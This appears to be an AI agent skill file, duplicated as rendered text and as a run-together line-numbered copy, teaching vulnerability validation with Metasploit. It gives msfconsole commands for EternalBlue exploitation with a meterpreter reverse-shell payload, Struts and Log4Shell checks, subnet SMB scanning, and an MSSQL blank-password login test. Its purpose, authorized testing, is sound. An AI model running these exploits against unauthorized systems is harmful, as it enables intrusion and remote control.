Exploiting Vulnerabilities with Metasploit Framework
Overview
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.
When to Use
- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Metasploit Framework installed (Kali Linux or standalone)
- PostgreSQL database for session/credential management
- Written authorization and rules of engagement for testing
- Isolated test environment or approved production testing window
- Understanding of networking, protocols, and exploitation concepts
Core Concepts
Metasploit Architecture
- msfconsole: Primary interactive command-line interface
- Exploits: Modules that leverage vulnerabilities to gain access
- Payloads: Code executed on the target after successful exploitation
- Auxiliary: Scanning, fuzzing, and information gathering modules
- Post-Exploitation: Modules for privilege escalation, persistence, pivoting
- Encoders: Payload encoding to evade signature-based detection
- Nops: No-operation generators for payload alignment
Exploitation Workflow in Vulnerability Management
Unlike offensive red teaming, vulnerability management uses Metasploit to:
- Validate scanner findings (confirm exploitability)
- Demonstrate risk to business stakeholders
- Prioritize remediation based on proven exploitation paths
- Verify patches by confirming exploits no longer succeed
Workflow
Step 1: Initialize Metasploit Environment
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init
# Launch msfconsole
msfconsole -q
# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025
# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
Step 2: Validate Specific Vulnerabilities
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444
# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
# Only exploit if check confirms vulnerability and authorized
msf6> exploit
# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check
# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
Step 3: Auxiliary Scanning for Validation
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run
# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run
# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run
# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
📎 Detailed content (full examples / references / data tables) has been split into reference.md in the same directory; use Read to load the relevant section on demand.
1---2name: exploiting-vulnerabilities-with-metasploit-framework3description: "Use the Metasploit Framework, including msfconsole, exploit, and auxiliary modules. Signals: pwn, binary exploitation, stack overflow."4zh-signals: "Uses the Metasploit Framework (msfconsole and its exploit, auxiliary) 信号:pwn,二进制利用,栈溢出。"5when-to-use: Uses the Metasploit Framework (msfconsole and its exploit, auxiliary,6 and post-exploitation modules) to validate that identified CVEs and vulnerabilities7 are actually exploitable, gather post-exploitation evidence, and confirm patch8 remediation. Use when performing vulnerability management validation, penetration9 testing, or post-patch verification and you need to prove real-world exploitability10 rather than rely on a scanner score alone.11domain: cybersecurity12subdomain: vulnerability-management13tags:14- vulnerability-management15- cve16- metasploit17- exploitation18- penetration-testing19- risk20version: '1.0'21author: mahipal22license: Apache-2.023nist_csf:24- ID.RA-0125- ID.RA-0226- ID.IM-0227- ID.RA-0628mitre_attack:29- T119030- T120331- T106832metadata:33 source: https://skillmd.com/skills/dangeroussong/exploiting-vulnerabilities-with-metasploit-framework34---3536# Exploiting Vulnerabilities with Metasploit Framework3738## Overview39The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.404142## When to Use4344- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework45- When analyzing malware samples or attack artifacts in a controlled environment46- When conducting red team exercises or penetration testing engagements47- When building detection capabilities based on offensive technique understanding4849## Prerequisites50- Metasploit Framework installed (Kali Linux or standalone)51- PostgreSQL database for session/credential management52- Written authorization and rules of engagement for testing53- Isolated test environment or approved production testing window54- Understanding of networking, protocols, and exploitation concepts5556## Core Concepts5758### Metasploit Architecture59- **msfconsole**: Primary interactive command-line interface60- **Exploits**: Modules that leverage vulnerabilities to gain access61- **Payloads**: Code executed on the target after successful exploitation62- **Auxiliary**: Scanning, fuzzing, and information gathering modules63- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting64- **Encoders**: Payload encoding to evade signature-based detection65- **Nops**: No-operation generators for payload alignment6667### Exploitation Workflow in Vulnerability Management68Unlike offensive red teaming, vulnerability management uses Metasploit to:691. **Validate** scanner findings (confirm exploitability)702. **Demonstrate** risk to business stakeholders713. **Prioritize** remediation based on proven exploitation paths724. **Verify** patches by confirming exploits no longer succeed7374## Workflow7576### Step 1: Initialize Metasploit Environment77```bash78# Start PostgreSQL and initialize database79sudo systemctl start postgresql80sudo msfdb init8182# Launch msfconsole83msfconsole -q8485# Verify database connection86msf6> db_status87msf6> workspace -a vuln_validation_20258889# Import vulnerability scan results90msf6> db_import /path/to/nessus_scan.nessus91msf6> hosts92msf6> vulns93```9495### Step 2: Validate Specific Vulnerabilities96```bash97# Example: Validate MS17-010 (EternalBlue) from scan findings98msf6> search type:exploit name:ms17_01099msf6> use exploit/windows/smb/ms17_010_eternalblue100msf6> show options101msf6> set RHOSTS 192.168.1.100102msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp103msf6> set LHOST 192.168.1.50104msf6> set LPORT 4444105106# Use check command first (non-exploitative validation)107msf6> check108# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!109110# Only exploit if check confirms vulnerability and authorized111msf6> exploit112113# Example: Validate Apache Struts RCE (CVE-2017-5638)114msf6> use exploit/multi/http/struts2_content_type_ognl115msf6> set RHOSTS target.example.com116msf6> set RPORT 8080117msf6> set TARGETURI /showcase.action118msf6> check119120# Example: Validate Log4Shell (CVE-2021-44228)121msf6> use exploit/multi/http/log4shell_header_injection122msf6> set RHOSTS target.example.com123msf6> set HTTP_HEADER X-Api-Version124msf6> check125```126127### Step 3: Auxiliary Scanning for Validation128```bash129# SMB vulnerability scanning130msf6> use auxiliary/scanner/smb/smb_ms17_010131msf6> set RHOSTS 192.168.1.0/24132msf6> set THREADS 10133msf6> run134135# SSL/TLS vulnerability checks136msf6> use auxiliary/scanner/ssl/openssl_heartbleed137msf6> set RHOSTS target.example.com138msf6> run139140# HTTP vulnerability validation141msf6> use auxiliary/scanner/http/dir_listing142msf6> set RHOSTS target.example.com143msf6> run144145# Database authentication testing146msf6> use auxiliary/scanner/mssql/mssql_login147msf6> set RHOSTS db-server.corp.local148msf6> set USERNAME sa149msf6> set PASSWORD ""150msf6> run151```152153> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.